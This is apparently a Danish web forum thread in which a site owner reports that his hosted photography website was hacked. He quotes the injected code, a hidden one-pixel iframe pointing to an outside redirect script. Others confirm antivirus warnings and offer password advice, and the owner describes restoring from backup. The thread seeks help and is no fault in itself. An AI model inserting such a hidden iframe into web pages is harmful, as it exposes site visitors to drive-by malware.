Hjemmeside hacket

Da jeg gik ind på min hjemmeside www.colsenfoto.dk i min Chrome-browser fik jeg en stor rød advarsel om at den indeholdt malware!

Min hjemmeside er hostet hos one.com. Følgende linje var blevet tilføjet index.php filen, og datoen stod til d. 21/8.

<IFRAME src="http://reservus.com/tds/go.php?sid=1" width=1 height=1 style="display:none"></IFRAME>

Jeg har ikke kunnet finde nogen oplysninger om ovenstående.

Er der nogen, der ved, hvad det er for noget gylle?

Jeg har selvfølgelig uploadet min rigtige index.php og ændret password, men ikke foretaget mig yderligere (andet end lige at stikprøve-checke nogle andre filer).

Med venlig hilsen

Carsten

Jeg besøgte den lige. Min Avast antivirus dukkede op og havde spærret for adgangen - det er malware af en eller anden slags.

Spørgsmål: Var dit password "sikkert" dvs ikke et standard ord?

Brug minimum 16 tegn bestående af bogstaver, tal og special tegn... F.eks:

aS82("#m/$23[&euro;7

Tom Frank Christensen:

Jeg besøgte den lige. Min Avast antivirus dukkede op og havde spærret for adgangen - det er malware af en eller anden slags.

Det undrer mig lidt, da jeg allerede havde ordnet filen mindst en times tid før jeg skrev indlægget.

Enten må den gamle hackede side ligge i en cache et eller andet sted, eller også har Avest registreret siden som farlig i deres virus-defs.

Jeg har nu fået checket filerne ganske grundigt (incl. et binært diff på flash-filen) og kune fundet den ene ændring. 

Jeg fik en virus ind på min computer i den forløbne uge (trods gode forholdsregler), så mit bud er, at den har fundet passwordet på min harddisk og sendt det videre, suk......

Det krævede en reetablering fra backup. Heldigvis er jeg fuldstændig krakilsk med backup, så jeg mistede ingen data - thank-god for al den tid og penge, jeg har "spildt" på den slags

Jeg er uddannet civilingeniør indenfor elektronik og software og har 10 års erfaring med udvikling, så jeg ved trods alt lidt om, hvordan man garderer sig og jagter den slags uvæsen - men åbenbart ikke nok.

 Carsten

Ok, så havde jeg misforstået dig.

Man bliver jo totalt paranoid af at være under angreb

Carsten